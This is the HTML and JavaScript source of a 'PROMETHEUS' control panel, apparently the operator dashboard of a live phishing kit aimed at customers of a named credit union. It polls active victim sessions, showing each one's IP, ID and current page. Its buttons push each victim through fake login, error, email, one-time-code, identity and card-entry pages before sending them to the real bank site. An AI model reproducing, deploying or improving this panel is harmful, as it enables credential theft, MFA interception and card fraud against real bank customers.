<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PROMETHEUS</title>
    <style>
        body { font-family: sans-serif; padding: 20px; background: #fff; margin: 0; }
        .container { max-width: 100%; width: 100%; padding: 0; }
        .user-card { border: 1px solid #000; padding: 10px; margin-bottom: 15px; }
        
        .user-header { 
            border-bottom: 1px solid #000; 
            padding-bottom: 5px; 
            margin-bottom: 10px; 
            font-weight: bold; 
            display: flex;
            flex-wrap: wrap;
            gap: 15px;
        }
        
        .btn { 
            padding: 8px 12px; 
            cursor: pointer; 
            background: #eee; 
            color: #000; 
            border: 1px solid #000; 
            margin-right: 5px; 
            margin-bottom: 5px; 
            font-size: 14px; 
            display: inline-block;
        }
        .btn:hover { background: #ccc; }
        .btn-success { background: #cfc; }
        .btn-danger { background: #fcc; }
        
        .controls { margin-top: 10px; }

        @media (max-width: 600px) {
            body { padding: 10px; }
            .user-header {
                flex-direction: column;
                gap: 5px;
            }
            .controls {
                display: flex;
                flex-direction: column;
            }
            .btn {
                width: 100%;
                margin-right: 0;
                text-align: center;
                padding: 10px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Control Panel</h1>
        <div id="users">Loading...</div>
    </div>

    <script>
        function getQueryParam(param) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(param);
        }

        function loadUsers() {
            const targetUid = getQueryParam('uid');

            fetch('get_users.php')
                .then(r => r.json())
                .then(users => {
                    const container = document.getElementById('users');
                    container.innerHTML = '';
                    
                    if (users.length === 0) {
                        container.innerHTML = '<p>No active sessions found.</p>';
                        return;
                    }

                    const displayUsers = targetUid ? users.filter(u => u.uid === targetUid) : users;

                    if (displayUsers.length === 0 && targetUid) {
                        container.innerHTML = '<p>Specified session not found or inactive.</p><p><a href="index.php">View All Sessions</a></p>';
                        return;
                    }

                    displayUsers.forEach(user => {
                        const div = document.createElement('div');
                        div.className = 'user-card';
                        
                        const timeString = new Date(user.last_seen * 1000).toLocaleTimeString();
                        
                        div.innerHTML = `
                            <div class="user-header">
                                <div>IP: ${user.ip}</div>
                                <div>ID: ${user.uid}</div>
                                <div>Status: ${user.status.toUpperCase()}</div>
                                <div>Last seen: ${timeString}</div>
                            </div>
                            
                            <p>Current Page: <b>${user.current_page}</b></p>
                            
                            <div class="controls">
                                <button class="btn" onclick="redirect('${user.uid}', 'index.php')">Login</button>
                                <button class="btn btn-danger" onclick="redirect('${user.uid}', 'index.php?error=1')">Login Error</button>
                                <button class="btn" onclick="redirect('${user.uid}', 'email.php')">Email</button>
                                <button class="btn" onclick="redirect('${user.uid}', 'code.php')">OTP</button>
                                <button class="btn" onclick="redirect('${user.uid}', 'access.php')">Identity</button>
                                <button class="btn" onclick="redirect('${user.uid}', 'card.php')">Card</button>
                                <button class="btn btn-success" onclick="redirect('${user.uid}', 'https://www.acuonline.org/')">Success/Exit</button>
                            </div>
                        `;
                        container.appendChild(div);
                    });
                });
        }

        function redirect(uid, url) {
            fetch('../set_command.php', {
                method: 'POST',
                headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                body: `uid=${uid}&url=${url}`
            }).then(() => {
                loadUsers();
            });
        }

        setInterval(loadUsers, 2000);
        loadUsers();
    </script>
</body>
</html>
